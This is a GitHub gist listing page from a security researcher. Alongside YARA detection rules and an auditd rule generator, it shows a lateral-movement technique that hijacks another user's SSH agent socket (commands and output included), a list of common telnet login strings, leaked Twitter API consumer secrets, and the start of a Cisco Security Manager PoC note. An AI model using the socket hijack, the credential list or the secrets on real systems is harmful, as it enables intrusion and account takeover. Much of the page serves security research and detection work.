Skip to content

Instantly share code, notes, and snippets.

View timb-machine's full-sized avatar

Tim Brown timb-machine

View GitHub Profile
@timb-machine
timb-machine / adonunix2.yara
Last active March 1, 2021 11:14
adonunix2.yara
rule adonunix2 {
meta:
author = "Tim Brown @timb_machine"
description = "AD on UNIX"
strings:
$quest = "/quest"
$sss = "/sss"
$pbis = "/pbis"
$ipa = "/ipa"
$samba = "/samba"
@timb-machine
timb-machine / ciscotools.yara
Created February 28, 2021 21:28
ciscotools.yara
rule ciscotools {
meta:
author = "Tim Brown @timb_machine"
description = "Cisco tools"
strings:
$labs = "labs.portcullis.co.uk"
$portcullislabs = "portcullislabs"
$CiscoCXSecurity = "CiscoCXSecurity"
$timb_machine = "timb_machine"
$pentestmonkey = "pentestmonkey"
@timb-machine
timb-machine / accept-environment.patch
Created February 28, 2021 20:41
accept-environment.patch
Description: Accept environment changes.
Accept environment changes during negotiation by the client.
Author: Tim Brown <[email protected]>
---
The information above should follow the Patch Tagging Guidelines, please
checkout http://dep.debian.net/deps/dep3/ to learn about the format. Here
are templates for supplementary fields that you might want to add:
Origin: <vendor|upstream|other>, <url of original patch>
@timb-machine
timb-machine / aix.yara
Created February 28, 2021 19:18
aix.yara
rule aix {
meta:
author = "Tim Brown @timb_machine"
description = "AIX binary"
strings:
$libca = "libc.a"
$text = ".text"
$data = ".data"
condition:
$libca and $text and $data
@timb-machine
timb-machine / auditd-generate-rule.sh
Last active August 30, 2025 17:01
auditd-generate-rule.sh
#!/bin/sh
generate_file_rule () {
filepermissions="${1}"
rulename="${2}"
while read filename
do
printf -- "-w %s -p %s -k %s\n" "${filename}" "${filepermissions}" "${rulename}"
done
}

Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.

root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460

root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh [email protected]

user@internal:~$ hostname -f
internal.company.tld
@timb-machine
timb-machine / Telnet authentication strings
Created February 13, 2021 19:36
Telnet authentication strings
461 root
392
160 admin
94 default
39 guest
24 support
21 user
20 1234
16 password
15 12345
@timb-machine
timb-machine / key.md
Created November 22, 2020 07:58
Twitter (un)official Consumer Key

Twitter Official Consumer Key

Twitter for Android

type:            PIN
Consumer key:    3nVuSoBZnx6U4vzUxf5w
Consumer secret: Bcs59EFbbsdF6Sl9Ng71smgStWEGwXXKSjYvPVt7qys

Twitter for iPhone

type:            PIN

Consumer key: IQKbtAYlXLripLGPWd0HUA

@timb-machine
timb-machine / CSM_pocs.md
Last active December 28, 2020 14:56 — forked from Frycos/CSM_pocs.md
CSM PoCs

TLDR

Cisco Security Manager is an enterprise-class security management application that provides insight into and control of Cisco security and network devices. Cisco Security Manager offers comprehensive security management (configuration and event management) across a wide range of Cisco security appliances, including Cisco ASA Adaptive Security Appliances, Cisco IPS Series Sensor Appliances, Cisco Integrated Services Routers (ISRs), Cisco Firewall Services Modules (FWSMs), Cisco Catalyst, Cisco Switches and many more. Cisco Security Manager allows you to manage networks of all sizes efficiently-from small networks to large networks consisting of hundreds of devices.

Several pre-auth vulnerabilities were submitted to Cisco on 2020-07-13 and (according to Cisco) patched in version 4.22 on 2020-11-10. Release notes didn't state anything about the vulnerabilities, security advisories were not published. All payload are processed in the context of NT AUTHORITY\SYSTEM.